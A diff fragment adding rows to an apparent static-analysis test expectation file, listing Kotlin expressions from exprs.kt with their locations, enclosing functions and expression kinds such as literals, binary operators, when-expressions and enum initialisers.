+| exprs.kt:95:15:95:16 | dx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:95:15:95:23 | ... != ... | exprs.kt:4:1:136:1 | topLevelMethod | NEExpr |
+| exprs.kt:95:22:95:23 | dy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:97:5:97:16 | f1 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:97:14:97:16 | 1.0 | exprs.kt:4:1:136:1 | topLevelMethod | DoubleLiteral |
+| exprs.kt:98:5:98:20 | f2 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:98:14:98:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:98:14:98:20 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:98:19:98:20 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:99:5:99:20 | f3 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:99:14:99:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:99:14:99:20 | ... - ... | exprs.kt:4:1:136:1 | topLevelMethod | SubExpr |
+| exprs.kt:99:19:99:20 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:100:5:100:20 | f4 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:100:14:100:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:100:14:100:20 | ... / ... | exprs.kt:4:1:136:1 | topLevelMethod | DivExpr |
+| exprs.kt:100:19:100:20 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:101:5:101:20 | f5 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:101:14:101:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:101:14:101:20 | ... % ... | exprs.kt:4:1:136:1 | topLevelMethod | RemExpr |
+| exprs.kt:101:19:101:20 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:102:5:102:21 | f6 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:102:14:102:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:102:14:102:21 | ... == ... | exprs.kt:4:1:136:1 | topLevelMethod | EQExpr |
+| exprs.kt:102:20:102:21 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:103:5:103:21 | f7 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:103:14:103:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:103:14:103:21 | ... != ... | exprs.kt:4:1:136:1 | topLevelMethod | NEExpr |
+| exprs.kt:103:20:103:21 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:104:5:104:20 | f8 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:104:14:104:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:104:14:104:20 | ... < ... | exprs.kt:4:1:136:1 | topLevelMethod | LTExpr |
+| exprs.kt:104:19:104:20 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:105:5:105:21 | f9 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:105:14:105:15 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:105:14:105:21 | ... <= ... | exprs.kt:4:1:136:1 | topLevelMethod | LEExpr |
+| exprs.kt:105:20:105:21 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:106:5:106:21 | f10 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:106:15:106:16 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:106:15:106:21 | ... > ... | exprs.kt:4:1:136:1 | topLevelMethod | GTExpr |
+| exprs.kt:106:20:106:21 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:107:5:107:22 | f11 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:107:15:107:16 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:107:15:107:22 | ... >= ... | exprs.kt:4:1:136:1 | topLevelMethod | GEExpr |
+| exprs.kt:107:21:107:22 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:108:5:108:23 | f12 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:108:15:108:16 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:108:15:108:23 | ... == ... | exprs.kt:4:1:136:1 | topLevelMethod | EQExpr |
+| exprs.kt:108:22:108:23 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:109:5:109:23 | f13 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:109:15:109:16 | fx | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:109:15:109:23 | ... != ... | exprs.kt:4:1:136:1 | topLevelMethod | NEExpr |
+| exprs.kt:109:22:109:23 | fy | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:111:5:111:17 | b1 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:111:14:111:17 | true | exprs.kt:4:1:136:1 | topLevelMethod | BooleanLiteral |
+| exprs.kt:112:5:112:18 | b2 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:112:14:112:18 | false | exprs.kt:4:1:136:1 | topLevelMethod | BooleanLiteral |
+| exprs.kt:113:5:113:21 | b3 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:113:14:113:15 | b1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:113:14:113:21 | ... && ... | exprs.kt:4:1:136:1 | topLevelMethod | AndLogicalExpr |
+| exprs.kt:113:20:113:21 | b2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:114:5:114:21 | b4 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:114:14:114:15 | b1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:114:14:114:21 | ... \|\| ... | exprs.kt:4:1:136:1 | topLevelMethod | OrLogicalExpr |
+| exprs.kt:114:20:114:21 | b2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:115:5:115:16 | b5 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:115:14:115:16 | not(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:115:15:115:16 | b1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:117:5:117:15 | c | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:117:13:117:15 | x | exprs.kt:4:1:136:1 | topLevelMethod | CharacterLiteral |
+| exprs.kt:118:5:118:26 | str | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:118:16:118:25 | string lit | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:119:5:119:38 | strWithQuote | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:119:25:119:37 | string " lit | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:120:5:120:22 | b6 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:120:14:120:15 | i1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:120:14:120:22 | ...instanceof... | exprs.kt:4:1:136:1 | topLevelMethod | InstanceOfExpr |
+| exprs.kt:120:14:120:22 | int | exprs.kt:4:1:136:1 | topLevelMethod | TypeAccess |
+| exprs.kt:121:5:121:23 | b7 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:121:14:121:15 | i1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:121:14:121:23 | ... !is ... | exprs.kt:4:1:136:1 | topLevelMethod | NotInstanceOfExpr |
+| exprs.kt:121:14:121:23 | int | exprs.kt:4:1:136:1 | topLevelMethod | TypeAccess |
+| exprs.kt:122:5:122:26 | b8 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:122:14:122:15 | b7 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:122:14:122:26 | (...)... | exprs.kt:4:1:136:1 | topLevelMethod | CastExpr |
+| exprs.kt:122:14:122:26 | boolean | exprs.kt:4:1:136:1 | topLevelMethod | TypeAccess |
+| exprs.kt:123:5:123:35 | str1 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:123:25:123:34 | string lit | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:124:5:124:36 | str2 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:124:26:124:35 | string lit | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:125:5:125:28 | str3 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:125:25:125:28 | null | exprs.kt:4:1:136:1 | topLevelMethod | NullLiteral |
+| exprs.kt:126:5:126:48 | str4 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:126:24:126:48 | "..." | exprs.kt:4:1:136:1 | topLevelMethod | StringTemplateExpr |
+| exprs.kt:126:25:126:28 | foo  | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:126:30:126:33 | str1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:126:34:126:38 |  bar  | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:126:40:126:43 | str2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:126:44:126:47 |  baz | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:127:5:127:66 | str5 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:127:24:127:66 | "..." | exprs.kt:4:1:136:1 | topLevelMethod | StringTemplateExpr |
+| exprs.kt:127:25:127:28 | foo  | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:127:31:127:34 | str1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:127:31:127:41 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:127:38:127:41 | str2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:127:43:127:47 |  bar  | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:127:50:127:53 | str2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:127:50:127:60 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:127:57:127:60 | str1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:127:62:127:65 |  baz | exprs.kt:4:1:136:1 | topLevelMethod | StringLiteral |
+| exprs.kt:128:5:128:26 | str6 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:128:16:128:19 | str1 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:128:16:128:26 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:128:23:128:26 | str2 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:130:5:130:21 | variable | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:130:20:130:21 | 10 | exprs.kt:4:1:136:1 | topLevelMethod | IntegerLiteral |
+| exprs.kt:131:12:131:19 | variable | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:131:12:131:23 | ... > ... | exprs.kt:4:1:136:1 | topLevelMethod | GTExpr |
+| exprs.kt:131:23:131:23 | 0 | exprs.kt:4:1:136:1 | topLevelMethod | IntegerLiteral |
+| exprs.kt:132:9:132:16 | variable | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:132:9:132:16 | variable | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:132:9:132:18 | ...=... | exprs.kt:4:1:136:1 | topLevelMethod | AssignExpr |
+| exprs.kt:132:9:132:18 | <Stmt> | exprs.kt:4:1:136:1 | topLevelMethod | StmtExpr |
+| exprs.kt:132:9:132:18 | <implicit coercion to unit> | exprs.kt:4:1:136:1 | topLevelMethod | ImplicitCoercionToUnitExpr |
+| exprs.kt:132:9:132:18 | Unit | exprs.kt:4:1:136:1 | topLevelMethod | TypeAccess |
+| exprs.kt:132:9:132:18 | dec(...) | exprs.kt:4:1:136:1 | topLevelMethod | MethodAccess |
+| exprs.kt:132:9:132:18 | tmp0 | exprs.kt:4:1:136:1 | topLevelMethod | LocalVariableDeclExpr |
+| exprs.kt:132:9:132:18 | tmp0 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:132:9:132:18 | tmp0 | exprs.kt:4:1:136:1 | topLevelMethod | VarAccess |
+| exprs.kt:135:12:135:14 | 123 | exprs.kt:4:1:136:1 | topLevelMethod | IntegerLiteral |
+| exprs.kt:135:12:135:20 | ... + ... | exprs.kt:4:1:136:1 | topLevelMethod | AddExpr |
+| exprs.kt:135:18:135:20 | 456 | exprs.kt:4:1:136:1 | topLevelMethod | IntegerLiteral |
+| exprs.kt:138:1:140:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:139:5:139:23 | d | exprs.kt:138:1:140:1 | getClass | LocalVariableDeclExpr |
+| exprs.kt:139:13:139:16 | true | exprs.kt:138:1:140:1 | getClass | BooleanLiteral |
+| exprs.kt:139:13:139:23 | ::class | exprs.kt:138:1:140:1 | getClass | ClassExpr |
+| exprs.kt:142:9:142:18 | ...=... | exprs.kt:142:1:144:1 | C | KtInitializerAssignExpr |
+| exprs.kt:142:9:142:18 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:142:9:142:18 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:142:9:142:18 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:142:9:142:18 | n | exprs.kt:142:1:144:1 | C | VarAccess |
+| exprs.kt:142:9:142:18 | n | exprs.kt:142:1:144:1 | C | VarAccess |
+| exprs.kt:142:9:142:18 | this | exprs.kt:142:9:142:18 | getN | ThisAccess |
+| exprs.kt:142:9:142:18 | this.n | exprs.kt:142:9:142:18 | getN | VarAccess |
+| exprs.kt:143:5:143:33 | C | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:143:27:143:31 | C | exprs.kt:143:5:143:33 | foo | TypeAccess |
+| exprs.kt:143:27:143:31 | new C(...) | exprs.kt:143:5:143:33 | foo | ClassInstanceExpr |
+| exprs.kt:143:29:143:30 | 42 | exprs.kt:143:5:143:33 | foo | IntegerLiteral |
+| exprs.kt:150:1:157:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:150:15:150:21 | Root | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:150:24:150:35 | Subclass1 | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:151:5:153:5 | when ... | exprs.kt:150:1:157:1 | typeTests | WhenExpr |
+| exprs.kt:151:8:151:8 | x | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:151:8:151:21 | ...instanceof... | exprs.kt:150:1:157:1 | typeTests | InstanceOfExpr |
+| exprs.kt:151:8:151:21 | Subclass1 | exprs.kt:150:1:157:1 | typeTests | TypeAccess |
+| exprs.kt:152:9:152:29 | x1 | exprs.kt:150:1:157:1 | typeTests | LocalVariableDeclExpr |
+| exprs.kt:152:29:152:29 | <implicit cast> | exprs.kt:150:1:157:1 | typeTests | ImplicitCastExpr |
+| exprs.kt:152:29:152:29 | Subclass1 | exprs.kt:150:1:157:1 | typeTests | TypeAccess |
+| exprs.kt:152:29:152:29 | x | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:154:5:154:60 | y1 | exprs.kt:150:1:157:1 | typeTests | LocalVariableDeclExpr |
+| exprs.kt:154:25:154:60 | true | exprs.kt:150:1:157:1 | typeTests | BooleanLiteral |
+| exprs.kt:154:25:154:60 | when ... | exprs.kt:150:1:157:1 | typeTests | WhenExpr |
+| exprs.kt:154:29:154:29 | x | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:154:29:154:42 | ...instanceof... | exprs.kt:150:1:157:1 | typeTests | InstanceOfExpr |
+| exprs.kt:154:29:154:42 | Subclass1 | exprs.kt:150:1:157:1 | typeTests | TypeAccess |
+| exprs.kt:154:45:154:49 | <Stmt> | exprs.kt:150:1:157:1 | typeTests | StmtExpr |
+| exprs.kt:154:45:154:49 | <implicit cast> | exprs.kt:150:1:157:1 | typeTests | ImplicitCastExpr |
+| exprs.kt:154:45:154:49 | Subclass1 | exprs.kt:150:1:157:1 | typeTests | TypeAccess |
+| exprs.kt:154:47:154:47 | x | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:154:58:154:58 | y | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:155:5:155:13 | q | exprs.kt:150:1:157:1 | typeTests | LocalVariableDeclExpr |
+| exprs.kt:155:13:155:13 | 1 | exprs.kt:150:1:157:1 | typeTests | IntegerLiteral |
+| exprs.kt:156:5:156:48 | true | exprs.kt:150:1:157:1 | typeTests | BooleanLiteral |
+| exprs.kt:156:5:156:48 | when ... | exprs.kt:150:1:157:1 | typeTests | WhenExpr |
+| exprs.kt:156:9:156:9 | x | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:156:9:156:22 | ...instanceof... | exprs.kt:150:1:157:1 | typeTests | InstanceOfExpr |
+| exprs.kt:156:9:156:22 | Subclass1 | exprs.kt:150:1:157:1 | typeTests | TypeAccess |
+| exprs.kt:156:27:156:27 | q | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:156:27:156:31 | ...=... | exprs.kt:150:1:157:1 | typeTests | AssignExpr |
+| exprs.kt:156:31:156:31 | 2 | exprs.kt:150:1:157:1 | typeTests | IntegerLiteral |
+| exprs.kt:156:42:156:42 | q | exprs.kt:150:1:157:1 | typeTests | VarAccess |
+| exprs.kt:156:42:156:46 | ...=... | exprs.kt:150:1:157:1 | typeTests | AssignExpr |
+| exprs.kt:156:46:156:46 | 3 | exprs.kt:150:1:157:1 | typeTests | IntegerLiteral |
+| exprs.kt:159:1:166:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:159:9:159:18 | Polygon | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:160:5:160:25 | r | exprs.kt:159:1:166:1 | foo | LocalVariableDeclExpr |
+| exprs.kt:160:13:160:13 | p | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:160:15:160:25 | getBounds(...) | exprs.kt:159:1:166:1 | foo | MethodAccess |
+| exprs.kt:161:5:165:5 | when ... | exprs.kt:159:1:166:1 | foo | WhenExpr |
+| exprs.kt:161:8:161:8 | r | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:161:8:161:16 | ... (value not-equals) ... | exprs.kt:159:1:166:1 | foo | ValueNEExpr |
+| exprs.kt:161:13:161:16 | null | exprs.kt:159:1:166:1 | foo | NullLiteral |
+| exprs.kt:162:9:162:29 | r2 | exprs.kt:159:1:166:1 | foo | LocalVariableDeclExpr |
+| exprs.kt:162:29:162:29 | <implicit not null> | exprs.kt:159:1:166:1 | foo | ImplicitNotNullExpr |
+| exprs.kt:162:29:162:29 | Rectangle | exprs.kt:159:1:166:1 | foo | TypeAccess |
+| exprs.kt:162:29:162:29 | r | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:163:9:163:30 | height | exprs.kt:159:1:166:1 | foo | LocalVariableDeclExpr |
+| exprs.kt:163:22:163:23 | r2 | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:163:25:163:30 | r2.height | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:164:9:164:10 | r2 | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:164:9:164:17 | r2.height | exprs.kt:159:1:166:1 | foo | VarAccess |
+| exprs.kt:164:9:164:21 | ...=... | exprs.kt:159:1:166:1 | foo | AssignExpr |
+| exprs.kt:164:21:164:21 | 3 | exprs.kt:159:1:166:1 | foo | IntegerLiteral |
+| exprs.kt:168:1:170:1 | Direction | exprs.kt:168:6:170:1 | Direction | TypeAccess |
+| exprs.kt:168:1:170:1 | Unit | exprs.kt:168:6:170:1 | Direction | TypeAccess |
+| exprs.kt:168:1:170:1 | new Enum(...) | exprs.kt:168:6:170:1 | Direction | ClassInstanceExpr |
+| exprs.kt:169:5:169:10 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:169:5:169:10 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:5:169:10 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:5:169:10 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:169:5:169:10 | Direction.NORTH | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:169:5:169:10 | new Direction(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:169:12:169:17 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:169:12:169:17 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:12:169:17 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:12:169:17 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:169:12:169:17 | Direction.SOUTH | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:169:12:169:17 | new Direction(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:169:19:169:23 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:169:19:169:23 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:19:169:23 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:19:169:23 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:169:19:169:23 | Direction.WEST | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:169:19:169:23 | new Direction(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:169:25:169:28 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:169:25:169:28 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:25:169:28 | Direction | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:169:25:169:28 | Direction | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:169:25:169:28 | Direction.EAST | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:169:25:169:28 | new Direction(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:172:1:176:1 | Color | exprs.kt:172:6:176:1 | Color | TypeAccess |
+| exprs.kt:172:1:176:1 | Unit | exprs.kt:172:6:176:1 | Color | TypeAccess |
+| exprs.kt:172:1:176:1 | new Enum(...) | exprs.kt:172:6:176:1 | Color | ClassInstanceExpr |
+| exprs.kt:172:18:172:29 | ...=... | exprs.kt:172:6:176:1 | Color | KtInitializerAssignExpr |
+| exprs.kt:172:18:172:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:172:18:172:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:172:18:172:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:172:18:172:29 | rgb | exprs.kt:172:6:176:1 | Color | VarAccess |
+| exprs.kt:172:18:172:29 | rgb | exprs.kt:172:6:176:1 | Color | VarAccess |
+| exprs.kt:172:18:172:29 | this | exprs.kt:172:18:172:29 | getRgb | ThisAccess |
+| exprs.kt:172:18:172:29 | this.rgb | exprs.kt:172:18:172:29 | getRgb | VarAccess |
+| exprs.kt:173:5:173:18 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:173:5:173:18 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:173:5:173:18 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:173:5:173:18 | Color | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:173:5:173:18 | Color.RED | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:173:5:173:18 | new Color(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:173:9:173:16 | 16711680 | exprs.kt:0:0:0:0 | <clinit> | IntegerLiteral |
+| exprs.kt:174:5:174:20 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:174:5:174:20 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:174:5:174:20 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:174:5:174:20 | Color | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:174:5:174:20 | Color.GREEN | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:174:5:174:20 | new Color(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:174:11:174:18 | 65280 | exprs.kt:0:0:0:0 | <clinit> | IntegerLiteral |
+| exprs.kt:175:5:175:18 | ...=... | exprs.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| exprs.kt:175:5:175:18 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:175:5:175:18 | Color | exprs.kt:0:0:0:0 | <clinit> | TypeAccess |
+| exprs.kt:175:5:175:18 | Color | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:175:5:175:18 | Color.BLUE | exprs.kt:0:0:0:0 | <clinit> | VarAccess |
+| exprs.kt:175:5:175:18 | new Color(...) | exprs.kt:0:0:0:0 | <clinit> | ClassInstanceExpr |
+| exprs.kt:175:10:175:17 | 255 | exprs.kt:0:0:0:0 | <clinit> | IntegerLiteral |
+| exprs.kt:178:1:181:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:179:5:179:31 | south | exprs.kt:178:1:181:1 | enums | LocalVariableDeclExpr |
+| exprs.kt:179:27:179:31 | Direction | exprs.kt:178:1:181:1 | enums | TypeAccess |
+| exprs.kt:179:27:179:31 | Direction.SOUTH | exprs.kt:178:1:181:1 | enums | VarAccess |
+| exprs.kt:180:5:180:27 | green | exprs.kt:178:1:181:1 | enums | LocalVariableDeclExpr |
+| exprs.kt:180:23:180:27 | Color | exprs.kt:178:1:181:1 | enums | TypeAccess |
+| exprs.kt:180:23:180:27 | Color.GREEN | exprs.kt:178:1:181:1 | enums | VarAccess |
+| exprs.kt:186:5:186:14 | ...=... | exprs.kt:185:1:193:1 | Class1 | KtInitializerAssignExpr |
+| exprs.kt:186:5:186:14 | a1 | exprs.kt:185:1:193:1 | Class1 | VarAccess |
+| exprs.kt:186:5:186:14 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:186:5:186:14 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:186:5:186:14 | this | exprs.kt:186:5:186:14 | getA1 | ThisAccess |
+| exprs.kt:186:5:186:14 | this.a1 | exprs.kt:186:5:186:14 | getA1 | VarAccess |
+| exprs.kt:186:14:186:14 | 1 | exprs.kt:185:1:193:1 | Class1 | IntegerLiteral |
+| exprs.kt:187:13:192:5 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| exprs.kt:188:9:188:18 | a2 | exprs.kt:187:13:192:5 | getObject | LocalVariableDeclExpr |
+| exprs.kt:188:18:188:18 | 2 | exprs.kt:187:13:192:5 | getObject | IntegerLiteral |
+| exprs.kt:189:16:191:9 | <Stmt> | exprs.kt:187:13:192:5 | getObject | StmtExpr |
